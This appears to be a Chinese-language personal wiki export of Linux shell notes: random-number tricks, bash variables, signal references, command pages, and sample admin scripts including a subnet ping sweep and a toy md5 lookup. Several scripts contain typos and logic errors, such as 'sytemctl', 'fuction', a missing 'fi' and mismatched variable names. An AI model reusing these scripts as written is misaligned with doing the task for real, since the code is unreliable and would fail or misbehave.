       #UUID码全称是通用唯一识别码 (Universally Unique Identifier, UUID),UUID格式是:包含32个16进制数字,以“-”连接号分为五段,形式为8-4-4-4-12的32个字符。linux的uuid码也是有内核提供的,在/proc/sys/kernel/random/uuid这个文件内。cat/proc/sys/kernel/random/uuid每次获取到的数据都会不同。

       cat /proc/sys/kernel/random/uuid| cksum | cut -f1 -d" "    #获取不同的随机整数,1675034933

       cat /proc/sys/kernel/random/uuid| md5sum | cut -c1-8    #数字加字母的随机数,d69a7ebf
```
</pre>
;05. command uuid
:<pre>

```bash
yum install uuid
uuid | cksum
```
</pre>
; expect -- mkpasswd
:<pre>

```bash
#使用expect附带的mkpasswd生成随机数
[root@i-1pbhgm8j ~]# yum install expect -y

[root@i-1pbhgm8j ~]# mkpasswd -l 10 -d 4 -c 2 -C 2 -s 1
y78UF/o93b
[root@i-1pbhgm8j ~]# mkpasswd -l 10 -d 4 -c 2 -C 2 -s 1
hELs1(n297
[root@i-1pbhgm8j ~]# mkpasswd -l 10 -d 4 -c 2 -C 2 -s 1
gWC$s1239z

#小结:
#-l 指定密码长度
#-d 指定密码中数字的数量
#-c 指定密码中小写字母的数量
#-C 指定密码中大写字母的数量
#-s 指定密码中特殊字符的数量
```
</pre>
!01. 简介
:<pre>

|!参数|!DESC|
|$#|传递到脚本的参数个数|
|$*|以一个单字符串显示所有向脚本传递的参数。|
|$$|脚本运行的当前进程ID号|
|$!	|后台运行的最后一个进程的ID号|
|$@	|与$*相同,但是使用时加引号,并在引号中返回每个参数。|
|$-	|显示Shell使用的当前选项,与set命令功能相同。|
|$?	|显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。|

</pre>

!02. QA
;$* 与 $@ 区别:
:相同点:都是引用所有参数。
:不同点:只有在双引号中体现出来。假设在脚本运行时写了三个参数 1、2、3,,则 " * " 等价于 "1 2 3"(传递了一个参数),而 "@" 等价于 "1" "2" "3"(传递了三个参数)。

!03 IFS

:<div>

```
如果IFS没有设置,或者IFS的值被设置为“ \t\n”(space, tab和 newline),那么操作对象的开始和结束处的所有space, tab和newline序列都将被忽略,但是操作对象中间的space, tab和newline序列会作为界定符工作。 如果IFS值不是默认值(例如程序中对IFS进行设置过),只有出现在IFS内的空白字符(可能是space, tab或newline中的一个或几个)才会在单词开始和结束处被忽略,这里说的是单词,而不是整个操作对象。 IFS内的非空白字符多个连续出现时,每个非空白字符会被当做单独的分隔符看待,但是多个连续的空白字符会被当做一个分隔符看待。 如果IFS为空(“null”),则不会进行单词分割。
```

```bash
IFS=‘\n’  //将字符n作为IFS的换行符。
IFS=$"\n" //这里\n确实通过$转化为了换行符,但仅当被解释时(或被执行时)才被转化为换行符。
IFS=$'\n' //这才是真正的换行符。
```
</div>
<div class="网络地址转换">

    <<toc-selective-expandable '网络地址转换'>>

</div>
<div class="协议">

    <<toc-selective-expandable '协议'>>

</div>
```bash
#打印行
#$1=单字符
#$2=行长度
function color_print()
{ 
    lenght=$2
    char=$1
    for j in $(seq $lenght)
    do
        let color=$RANDOM%10+30
        let blink=$RANDOM%5+1
        case $blink in 
        3|4|5)
            echo -e "\033[;${color}m${char}\033[0m\c"
            ;;
        1|2)
            echo -e "\033[5;${color}m${char}\033[0m\c"
            ;;
        esac
    done
}


function pline()
{
    lenght=$2
    char=$1
    for j in $(seq $lenght)
    do
        echo -e "${char}\c"
    done

}
#打印等腰三角形
function dy()
{
    read -p "lines:" lines
    for l in $(seq $lines)
    do
        let space=lines-l
        pline " " $space
        let char=2*l-1
        #pline "*" $char 
        color_print "*" $char
        echo
    done
}
#jx2

#pline "8" 8 
dy
sh                                                   
```
</pre>
{{shell_log}}

```bash
function monitor_service()
{
  service_nanme =$1

  while true
  do
    if killall -o ${service_nanme} &> /dev/null ;then
      true
    else
      sytemctl restart ${service_nanme}
      log "restart ${service_nanme}" /var/log/${service_name}.log
    fi
    sleep 10
  done
}
```
{{shell_log}}

```bash
def function monitor_disk()
{
  max=10
  while true ;do
    df -h | grep "/dev/sd"| while read disk;do
      percent=`echo ${disk} | sed -r 's/.* (.*)%.*/\1/'`
      part=`echo $disk | cut -d" " -f1`
      if (($per < $max));then
          log "$part will be full" ${log_path}
      fi
    done
  done
}
```
{{shell_log}}


```bash
function monitor_blood_ip()
{
  delay=10
  conn_max_count=10
  while true;do
    ss -nat| grep ESTAB | tr -s " "| cut -d : -f6| sort | uniq -c > ip.db
    while read line ; do
      count=`cut -f1`
      ip=`cut -f2`
      #if ( ${count} > )
      if [[ ${count} -gt ${conn_max_count} ]];then
        iptables -A INPUT -s "${ip}" -j REJECT
        log "${ip} has been blocked by iptables" "/var/log/network/block_ip.log"
      fi
    done < ip.db
    sleep ${delay}
  done
}
```
```bash
function min_max()
{
    numbs=10
    range=100
    max=0
    min=$range
   
    while (( $numbs > 0 ));do
     
      let numbs=$numbs-1
      let tmp=$RANDOM%$range+1
      echo $numbs,$tmp
      if (($tmp > $max));then
        max=$tmp
      fi
      if (($tmp < $min ));then
        min=$tmp
      fi
    done
    echo $min,$max
}
```
```bash
function all_md5()
{
    for i in `seq 32767`;do
        sum=`echo ${i}| md5sum`
        echo $i,${sum}
    done
}
function crack_md5()
{
    md5=d02a55da8edcc7ec95a59ce5c8a93f5b
    all_md5|grep ${md5}
}
function read_crack()
{
    while read sum;do
        all_md5| grep ${sum}
    done < sum.db
}

```
{{shell_log}}

```bash
#crack_user
function monitor_crack_user()
{
    svc=$1
    log_path=$2
    until false;do
        sleep 30
        #"循环体"
        pkill -u cracker -9 &> /dev/null && log "killed cracker user " ,${log_path}
    done
}
```
{{bash_head}}

```bash
function _color_()  
{  
    case "$1" in  
        red)    nn="31";;  
        green)  nn="32";;  
        yellow) nn="33";;  
        blue)   nn="34";;  
        purple) nn="35";;  
        cyan)   nn="36";;  
    esac  
    ff=""  
    case "$2" in  
        bold)   ff=";1";;  
        bright) ff=";2";;  
        uscore) ff=";4";;  
        blink)  ff=";5";;  
        invert) ff=";7";;  
    esac  
    color_begin=`echo -e -n "\033[${nn}${ff}m"`  
    color_end=`echo -e -n "\033[0m"`  
    while read line; do  
        echo "${color_begin}${line}${color_end}"  
    done  
}

nets=`ifconfig| grep inet|grep -v inet6|grep -v 127|tr -s ' '|cut -d ' ' -f 3| sed -e "s/\(.*\..*\..*\.\).*$/\10/g"`

function scan_for()
    for ip in {0..255};do
    
      ping -c 1 -W1 ${net}.${ip} &>/dev/null && { echo ${net}.${ip} is up; } || { echo ${net}.${ip} is down; } &
    
    done

function scan_while()
{
    net=$1
    ip=1
    while (($ip < 256));do
        ping -c 1 -W1 ${net}.${ip} &>/dev/null && { echo "\ \ \ \ ${net}.${ip}" |_color_ green ; }  &
        let ip=$ip+1
    done
}

function main(){
    for net in ${nets};do
        sleep 1;echo
        echo ${net}|_color_ red
        scan_while ${net%.*}
    done
    sleep 1
}
main
```
```bash
#!/usr/bin/env bash
#------------------------------------
# FileName:     
# Revision:     0.1                  
# Language:     bash                 
# Author:
# Date:         
# Description:                      
#------------------------------------
repo_file='/etc/yum.repo.d/CentOS-Base.repo'
iso_path='/mnt/iso'

function init_iso(){
    mkdir ${iso_path}
    mount -o loop /dev/cdrom ${iso_path}
    cat >>  /etc/rc.local << EOF
mount -o loop /dev/cdrom ${iso_path}
EOF
}

function init_repo() {
    #sed -i 's/enable=1/enable=0/g' ${repo}
    mv `dirname ${repo_file}` `dirname ${repo_file}`.bak
    mkdir `dirname ${repo_file}`
    yum clean all -y
    
        cat >> ${repo_file} << EOF
[CentOS7-local]
name=CentOS7
baseurl=file://${iso_path}
gpgcheck=0
enabled=1
EOF
    #yum update -y
    if [ -f /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 ];then
        sed -i '3 agpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7' ${repo_file}
        sed -i 's/gpgcheck=0/gpgcheck=1/g' ${repo_file}
    yum makecache
}

fuction main(){
    init_iso
    init_repo
}

main
```
* 列出所有信号名称:<div>

```bash
 kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     16) SIGSTKFLT
17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU
25) SIGXFSZ     26) SIGVTALRM   27) SIGPROF     28) SIGWINCH
29) SIGIO       30) SIGPWR      31) SIGSYS      34) SIGRTMIN
35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3  38) SIGRTMIN+4
39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7  58) SIGRTMAX-6
59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
```
列表中,编号为1 ~ 31的信号为传统UNIX支持的信号,是不可靠信号(非实时的),编号为32 ~ 63的信号是后来扩充的,称做可靠信号(实时信号)。
不可靠信号和可靠信号的区别在于前者不支持排队,可能会造成信号丢失,而后者不会。
</div>


*详细描述
:<div>

|!信号名称|!信号数|!描述|
|SIGHUP|1|本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。 登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。|
|SIGINT|2|程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl C)时发出。|
|SIGQUIT|3|和SIGINT类似, 但由QUIT字符(通常是Ctrl /)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号。|
|SIGFPE|8|在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。|
|SIGKILL|9|用来立即结束程序的运行. 本信号不能被阻塞, 处理和忽略。|
|SIGALRM|14|时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号。|
|SIGTERM|15|程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出. shell命令kill缺省产生这个信号。|
</div>
* 只有`第9种信号(SIGKILL)`才可以无条件终止进程,其他信号进程都有权利忽略,下面是常用的信号:

:<div>

```bash
HUP     1    终端断线
INT     2    中断(同 Ctrl + C)
QUIT    3    退出(同 Ctrl + \)
TERM   15    终止
KILL    9    强制终止
CONT   18    继续(与STOP相反, fg/bg命令)
STOP   19    暂停(同 Ctrl + Z)
```
</div>

!信号详解 
:<div>

```
下面我们对编号小于SIGRTMIN的信号进行讨论。

1) SIGHUP

本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。

登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个 Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进 程组和后台有终端输出的进程就会中止。不过可以捕获这个信号,比如wget能捕获SIGHUP信号,并忽略它,这样就算退出了Linux登录,wget也 能继续下载。

此外,对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。

2) SIGINT

程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。

3) SIGQUIT

和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号。

4) SIGILL

执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行数据段. 堆栈溢出时也有可能产生这个信号。

5) SIGTRAP

由断点指令或其它trap指令产生. 由debugger使用。

6) SIGABRT

调用abort函数生成的信号。

7) SIGBUS

非法地址, 包括内存地址对齐(alignment)出错。比如访问一个四个字长的整数, 但其地址不是4的倍数。它与SIGSEGV的区别在于后者是由于对合法存储地址的非法访问触发的(如访问不属于自己存储空间或只读存储空间)。

8) SIGFPE

在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

9) SIGKILL

用来立即结束程序的运行. 本信号不能被阻塞、处理和忽略。如果管理员发现某个进程终止不了,可尝试发送这个信号。

10) SIGUSR1

留给用户使用

11) SIGSEGV

试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据.

12) SIGUSR2

留给用户使用

13) SIGPIPE

管道破裂。这个信号通常在进程间通信产生,比如采用FIFO(管道)通信的两个进程,读管道没打开或者意外终止就往管道写,写进程会收到SIGPIPE信号。此外用Socket通信的两个进程,写进程在写Socket的时候,读进程已经终止。

14) SIGALRM

时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号.

15) SIGTERM

程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理。通常用来要求程序自己正常退出,shell命令kill缺省产生这个信号。如果进程终止不了,我们才会尝试SIGKILL。

17) SIGCHLD

子进程结束时, 父进程会收到这个信号。

如果父进程没有处理这个信号,也没有等待(wait)子进程,子进程虽然终止,但是还会在内核进程表中占有表项,这时的子进程称为僵尸进程。这种情 况我们应该避免(父进程或者忽略SIGCHILD信号,或者捕捉它,或者wait它派生的子进程,或者父进程先终止,这时子进程的终止自动由init进程来接管)。

18) SIGCONT

让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用一个handler来让程序在由stopped状态变为继续执行时完成特定的工作. 例如, 重新显示提示符...

19) SIGSTOP

停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别:该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略.

20) SIGTSTP

停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时(通常是Ctrl-Z)发出这个信号

21) SIGTTIN

当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN信号. 缺省时这些进程会停止执行.

22) SIGTTOU

类似于SIGTTIN, 但在写终端(或修改终端模式)时收到.

23) SIGURG

有"紧急"数据或out-of-band数据到达socket时产生.

24) SIGXCPU

超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/改变。

25) SIGXFSZ

当进程企图扩大文件以至于超过文件大小资源限制。

26) SIGVTALRM

虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间.

27) SIGPROF

类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的时间.

28) SIGWINCH

窗口大小改变时发出.

29) SIGIO

文件描述符准备就绪, 可以开始进行输入/输出操作.

30) SIGPWR

Power failure

31) SIGSYS

非法的系统调用。
```
;程序不可捕获、阻塞或忽略的信号有:
:SIGKILL,SIGSTOP

;不能恢复至默认动作的信号有:
:SIGILL,SIGTRAP

;默认会导致进程流产的信号有:
:SIGABRT,SIGBUS,SIGFPE,SIGILL,SIGIOT,SIGQUIT,SIGSEGV,SIGTRAP,SIGXCPU,SIGXFSZ

;默认会导致进程退出的信号有:
:SIGALRM,SIGHUP,SIGINT,SIGKILL,SIGPIPE,SIGPOLL,SIGPROF,SIGSYS,SIGTERM,SIGUSR1,SIGUSR2,SIGVTALRM

;默认会导致进程停止的信号有:
:SIGSTOP,SIGTSTP,SIGTTIN,SIGTTOU

;默认进程忽略的信号有:
:SIGCHLD,SIGPWR,SIGURG,SIGWINCH

此外,SIGIO在SVR4是退出,在4.3BSD中是忽略;SIGCONT在进程挂起时是继续,否则是忽略,不能被阻塞。

</div>
{{bash_head}}
!01.centos

```bash
#default_ip=$(ifconfig|head -n 2|tail -n 1|cut -d ":" -f 2|cut -d " " -f 1)
hostname=$(hostname)
ip=$(cat /etc/network/interfaces| sed -n "s/.*address \(.*\)$/\1/p")
Manufacturer=$(dmidecode -t1|grep "Manufacturer"|cut -d ":" -f 2)
product_name=$(dmidecode -t1|grep "Product Name"|cut -d ":" -f 2)
Serial_Number=$(dmidecode -t1|grep "Serial Number"|cut -d ":" -f 2)
#serial_number=$(dmidecode -t1|grep Serial|cut -d " " -f 3)
cpu_count=$(dmidecode|grep CPU|grep Version|wc -l)
tspc=$(lscpu | grep "Thread(s) per core:"| cut -d : -f 2| tr -d " ")
cps=$(lscpu | grep "Core(s) per socket"| cut -d : -f 2| tr -d " ")
cpus=$(lscpu | grep "CPU(s):"|grep -v node| cut -d : -f 2| tr -d " ")
###
cpu_name=$(dmidecode|grep CPU|grep Version|cut -d " " -f 2-|uniq)
mem_total=$(free -h| sed -n '2p'|tr -s "  " " "|cut -d " " -f 2)
mem_speed=$(dmidecode -t memory | grep -i speed\: | grep -vi unknown| sort | uniq| tail -n1|cut -d ':' -f 2|tr -d " ")
#disk_size=$(fdisk -l|grep "Disk /dev/sda"|grep -v GPT|cut -d " " -f 3-|cut -d "," -f 1)
#disk_name=$(smartctl -a /dev/sda|grep "Product:"|awk '{print $2}')
#disk_serial_number=$(smartctl -a /dev/sda|grep "Serial number:"|awk '{print $3}')
cat > hardware_info.txt << EOF
--------------------------------------------------------
hostname                :$hostname
ip                      :$ip
--------------------------------------------------------
Manufacturer            :$Manufacturer
Product_Name            :$product_name
Serial_Number           :$Serial_Number
--------------------------------------------------------
CPU                     :$cpu_name
CPU_COUNT               :$cpu_count
Thread(s) per core      :$tspc
Core(s) per socket      :$cps
CPU(s)                  :$cpus
--------------------------------------------------------
Mem                     :$mem_total
Mem_speed               :$mem_speed
--------------------------------------------------------
EOF

```
!02.lshw

```bash
lshw -short | grep -viE "emp|generic|bridge|bus|communication|===|cache|Device|storage"|cut -c22-|uniq|sort -k1
```



{{bash_head}}
{{shell_log}}

```bash
log_path="/root/.bin/ip.db"

function log_ip(){
    cur_ip=`curl -s http://ddns.oray.com/checkip|cut -d ' ' -f 6| cut -d \< -f1`
    last_ip=`sed -n '$p' ip.db|sed -n 's/.*]\ \(.*\)/\1/p'`
    if [ "${cur_ip}" != "${last_ip}" ];then
        log "${cur_ip}" "${log_path}"
    else
        :
    fi
}

function main(){
    log_ip
}

main
```
shell脚本字符串截取的8种方法

>假设有变量 var=http://www.aaa.com/123.htm.

1. # 号截取,删除左边字符,保留右边字符。

:<pre>

```bash
echo ${var#*//}

#其中 var 是变量名,# 号是运算符,*// 表示从左边开始删除第一个 // 号及左边的所有字符
#即删除 http://
#结果是 :www.aaa.com/123.htm
```
</pre>
2. ## 号截取,删除左边字符,保留右边字符。

:<pre>

```bash
echo ${var##*/}


##*/ 表示从左边开始删除最后(最右边)一个 / 号及左边的所有字符
#即删除 http://www.aaa.com/

#结果是 123.htm
```
</pre>
3. %号截取,删除右边字符,保留左边字符

:<pre>

```bash
echo ${var%/*}


%/* 表示从右边开始,删除第一个 / 号及右边的字符

结果是:http://www.aaa.com
```
</pre>

4. %% 号截取,删除右边字符,保留左边字符

:<pre>

```bash
echo ${var%%/*}


 %%/* 表示从右边开始,删除最后(最左边)一个 / 号及右边的字符
结果是:http:
```
</pre>
5. 从左边第几个字符开始,及字符的个数

:<pre>

```bash
echo ${var:0:5}


其中的 0 表示左边第一个字符开始,5 表示字符的总个数。
结果是:http:
```
</pre>
6. 从左边第几个字符开始,一直到结束。

:<pre>

```bash
echo ${var:7}
```

其中的 7 表示左边第8个字符开始,一直到结束。
结果是 :www.aaa.com/123.htm
</pre>

7. 从右边第几个字符开始,及字符的个数

:<pre>

```bash
echo ${var:0-7:3}
```


其中的 0-7 表示右边算起第七个字符开始,3 表示字符的个数。
结果是:123
</pre>
;8. 从右边第几个字符开始,一直到结束。
:<pre>

```bash
echo ${var:0-7}
```

表示从右边第七个字符开始,一直到结束。
结果是:123.htm

注:(左边的第一个字符是用 0 表示,右边的第一个字符用 0-1 表示)
</pre>
<div class="tc-table-of-contents">

<<toc-selective-expandable 'TableOfContents'>>

</div>

!!简介
:<div>
ab
===

Apache服务器的性能测试工具

</div>

!! 补充说明

:<div>


"ab命令" 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。

</div>

!! 语法  

:<div>


```
ab(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-A:指定连接服务器的基本的认证凭据;
-c:指定一次向服务器发出请求数;
-C:添加cookie;
-g:将测试结果输出为“gnuolot”文件;
-h:显示帮助信息;
-H:为请求追加一个额外的头;
-i:使用“head”请求方式;
-k:激活HTTP中的“keepAlive”特性;
-n:指定测试会话使用的请求数;
-p:指定包含数据的文件;
-q:不显示进度百分比;
-T:使用POST数据时,设置内容类型头;
-v:设置详细模式等级;
-w:以HTML表格方式打印结果;
-x:以表格方式输出时,设置表格的属性;
-X:使用指定的代理服务器发送请求;
-y:以表格方式输出时,设置表格属性。
```

</div>

!! 参数  

:<div>


主机:被测试主机。

```bash
ab -n 100000 -c 100 127.0.0.1:8802/index.html
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
accept
===

指示打印系统接受发往指定目标打印机的打印任务

</div>

!! 补充说明

:<div>


"accept命令" 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。

</div>

!! 语法  

:<div>


```
accept(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:当连接到服务器时强制加密;
-U:指定连接服务器时使用的用户名;
-h:指定连接服务器名和端口号。
```

</div>

!! 参数  

:<div>


目标:指定目标打印机。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ack
===

比grep好用的文本搜索工具

</div>

!! 安装

:<div>


```bash
# ubuntu下要安装ack-grep,因为在debian系中,ack这个名字被其他的软件占用了。
sudo apt-get install ack-grep
# alpine Linux-apk软件包管理器 安装 ack
apk install ack
```

</div>

!! 参数

:<div>


这些参数在linux上的适用频率是相当高的,尤其是你用vim做为IDE的话

```
-c(统记)/ -i(忽略大小)/ -h(不显示名称)/
-l(只显文件名)/ -n(加行号)/ -v(显示不匹配)
```

</div>

!! 特点

:<div>


ack官网列出了这工具的5大卖点:

1. 速度非常快,因为它只搜索有意义的东西。
2. 更友好的搜索,忽略那些不是你源码的东西。
3. 为源代码搜索而设计,用更少的击键完成任务。
4. 非常轻便,移植性好。
5. 免费且开源

</div>

!! 实例  

:<div>


在记忆的时候大体上可以分为这几个部分:

> Searching 代码搜索  
> Search output 搜索结果处理  
> File presentation 文件展示  
> File finding 文件查找  
> File inclusion/exclusion 文件过滤  

grep常用操作

```bash
grep -r 'hello_world' # 简单用法
grep '^hello_world' . # 简单正则
ls -l | grep .py # 管道用法
```

</div>

!! Searching

:<div>


简单的文本搜索,默认是递归的。

```
ack-grep hello
ack-grep -i hello
ack-grep -v hello
ack-grep -w hello
ack-grep -Q 'hello*'
```

</div>

!! Search File

:<div>


对搜索结果进行处理,比如只显示一个文件的一个匹配项,或者xxx

```bash
ack-grep --line=1       # 输出所有文件第二行
ack-grep -l 'hello'     # 包含的文件名
ack-grep -L 'print'     # 非包含文件名
```

</div>

!! File presentation

:<div>


输出的结果是以什么方式展示呢,这个部分有几个参数可以练习下

```bash
ack-grep hello --pager='less -R'    # 以less形式展示
ack-grep hello --noheading      # 不在头上显示文件
ack-grep hello --nocolor        # 不对匹配字符着色
```

</div>

!! File finding

:<div>

没错,它可以查找文件,以省去你要不断的结合find和grep的麻烦,虽然在linux的思想是一个工具做好一件事。

```bash
ack-grep -f hello.py     # 查找全匹配文件
ack-grep -g hello.py$    # 查找正则匹配文件
ack-grep -g hello  --sort-files     # 查找然后排序
```

</div>

!! File Inclusion/Exclusion

:<div>


文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。

```bash
ack-grep --python hello       # 查找所有python文件
ack-grep -G hello.py$ hello   # 查找匹配正则的文件
```

</div>

!! 参考资料

:<div>


- [ack官网](https://beyondgrep.com/)
</div>
!!简介
:<div>
alias
===

用来设置指令的别名

</div>

!! 补充说明

:<div>


"alias命令" 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。

alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。

</div>

!! 语法  

:<div>


```
alias(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-p:打印已经设置的命令别名。
```

</div>

!! 参数  

:<div>


命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。

</div>

!! 实例  

:<div>


 "alias 的基本使用方法为:" 

```
alias 新的命令='原命令 -选项/参数'
```

例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。

要删除一个别名,可以使用 unalias 命令,如 unalias l。

 "查看系统已经设置的别名:" 

```bash
[root@localhost ~]# 
[root@localhost ~]# alias
alias cp='cp -i'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
[root@localhost ~]# 

```
</div>

!! 命令别名永久生效

:<div>

直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。
```bash
$ vim ~/.bashrc
```
在文件最后面加入别名设置,如:alias rm=’rm -i’,保存后重新载入:
```bash
$ source ~/.bashrc
```
这样就可以永久保存命令的别名了。因为修改的是当前用户目录下的.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc目录下的bashrc文件就可以了。在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发有这样一段代码:
```bash
if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi
```

这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。

</div>

!! 小结

:<div>


alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。




</div>

!!# 一、 范例演示

:<div>


在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。

</div>

!!# 二、 自定义命令简介

:<div>

    CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。


</div>

!!# 三、 演示举例

:<div>

假定系统操作员希望进行如下操作:
1.进入目录/root
2.查看目录下文件
3.切换回根目录
通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。
![](alias\01.png)

</div>

!!# 四、 操作过程

:<div>

	首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。
![](alias\02.png)

	使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。
![](alias\03.png)

	测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias  查询系统中是否添加了loo这个自定义命令。
![](alias\04.png)

	如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。
![](alias\05.png)

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
pip install ansible
ansible all -m copy -a "src=/home/user01/at_task dest=/root/ " --sudo

ansible test -m cron -a 'name="crontab test" minute=0 hour=0 day=27 job="/usr/bin/bash /root/xj.sh $(date +%Y-%m)" ' --sudo
```

[https://docs.ansible.com/]
!!简介
:<div>
apachectl
===

Apache服务器前端控制工具

</div>

!! 补充说明

:<div>


"apachectl命令" 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。

</div>

!! 语法  

:<div>


```
apachectl(参数)
```

</div>

!! 参数  

:<div>


*   configtest:检查设置文件中的语法是否正确;
*   fullstatus:显示服务器完整的状态信息;
*   graceful:重新启动Apache服务器,但不会中断原有的连接;
*   help:显示帮助信息;
*   restart:重新启动Apache服务器;
*   start:启动Apache服务器;
*   status:显示服务器摘要的状态信息;
*   stop:停止Apache服务器。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
apk
===

Alpine Linux 下的包管理工具

</div>

!! 使用实例

:<div>


```bash
apk install xxx
apk search xxx # 支持正则
apk info xxx # 查看包的详细信息
apk show # list local package
# 卸载并删除 包
apk del openssh openntp vim
```

</div>
